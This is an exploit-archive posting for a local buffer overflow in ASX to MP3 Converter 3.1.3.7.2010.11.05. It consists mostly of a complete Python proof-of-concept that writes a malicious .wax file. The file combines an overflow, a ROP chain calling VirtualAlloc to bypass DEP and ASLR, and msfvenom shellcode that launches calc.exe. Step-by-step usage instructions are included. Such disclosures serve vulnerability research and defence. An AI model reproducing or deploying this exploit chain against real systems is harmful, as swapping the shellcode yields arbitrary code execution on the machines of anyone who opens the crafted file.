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ASX To MP3 Converter 3.1.3.7.2010.11.05 Buffer Overflow

ASX To MP3 Converter 3.1.3.7.2010.11.05 Buffer Overflow
Posted Aug 27, 2020
Authored by Paras Bhatia

ASX to MP3 Converter version 3.1.3.7.2010.11.05 .wax local buffer overflow proof of concept exploit with DEP and ASLR bypass.

tags | exploit, overflow, local, proof of concept
SHA-256 | 7f84c77ff7d0602ebf55956621de4d05257783b831769bc70810340d9c65606b

ASX To MP3 Converter 3.1.3.7.2010.11.05 Buffer Overflow

Change Mirror Download
# Exploit Title: ASX to MP3 converter 3.1.3.7.2010.11.05 - '.wax' Local Buffer Overflow (DEP,ASLR Bypass) (PoC) 
# Software Link Download: https://github.com/x00x00x00x00/ASXtoMP3Converter_3.1.3.7.2010.11.05/blob/master/ASXtoMP3Converter_3.1.3.7.2010.11.05.exe?raw=true
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-08-25
# Vulnerable Software: ASX to MP3 converter
# Version: 3.1.3.7.2010.11.05
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)

# Proof of Concept :

# 1.- Run python code: asx_to_mp3_rop_exploit.py
# 2.- Works on DEP enabled for ASX2MP3Converter.exe
# 3.- Open "ASX2MP3Converter.exe"
# 4.- Click on "Load" Button
# 5.- Select generated file "asx_to_mp3_rop_exploit.wax".
# 6.- Click on "Open".
# 7.- Calc.exe runs.


#################################################################################################################################################

#Python "asx_to_mp3_rop_exploit.py" Code:

import struct
file = 'asx_to_mp3_rop_exploit.wax'


payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x10010C8A) + "CCCC"


## msfvenom -a x86 -p windows/exec cmd=calc -b "\x00\x0a\x09" -f python

buf = ""
buf += "\xbe\x4b\xe7\x94\x8c\xdb\xcd\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x30\x31\x72\x13\x03\x72\x13\x83\xea\xb7\x05"
buf += "\x61\x70\xaf\x48\x8a\x89\x2f\x2d\x02\x6c\x1e\x6d\x70"
buf += "\xe4\x30\x5d\xf2\xa8\xbc\x16\x56\x59\x37\x5a\x7f\x6e"
buf += "\xf0\xd1\x59\x41\x01\x49\x99\xc0\x81\x90\xce\x22\xb8"
buf += "\x5a\x03\x22\xfd\x87\xee\x76\x56\xc3\x5d\x67\xd3\x99"
buf += "\x5d\x0c\xaf\x0c\xe6\xf1\x67\x2e\xc7\xa7\xfc\x69\xc7"
buf += "\x46\xd1\x01\x4e\x51\x36\x2f\x18\xea\x8c\xdb\x9b\x3a"
buf += "\xdd\x24\x37\x03\xd2\xd6\x49\x43\xd4\x08\x3c\xbd\x27"
buf += "\xb4\x47\x7a\x5a\x62\xcd\x99\xfc\xe1\x75\x46\xfd\x26"
buf += "\xe3\x0d\xf1\x83\x67\x49\x15\x15\xab\xe1\x21\x9e\x4a"
buf += "\x26\xa0\xe4\x68\xe2\xe9\xbf\x11\xb3\x57\x11\x2d\xa3"
buf += "\x38\xce\x8b\xaf\xd4\x1b\xa6\xed\xb2\xda\x34\x88\xf0"
buf += "\xdd\x46\x93\xa4\xb5\x77\x18\x2b\xc1\x87\xcb\x08\x3d"
buf += "\xc2\x56\x38\xd6\x8b\x02\x79\xbb\x2b\xf9\xbd\xc2\xaf"
buf += "\x08\x3d\x31\xaf\x78\x38\x7d\x77\x90\x30\xee\x12\x96"
buf += "\xe7\x0f\x37\xf5\x66\x9c\xdb\xfa"



## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11112112)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEEEEE)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)


## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc()
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)


## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN



## Save the address of esp in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN



##Save memory protection code (0x40) in ECX
payload += struct.pack('<L',0x1002e16c) # POP ECX # RETN
payload += struct.pack('<L',0xffffffff)
payload += struct.pack('<L',0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L',0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN


## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x10010C8A) # RETN




## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN



payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf



f = open(file,'w')
f.write(payload)
f.close()
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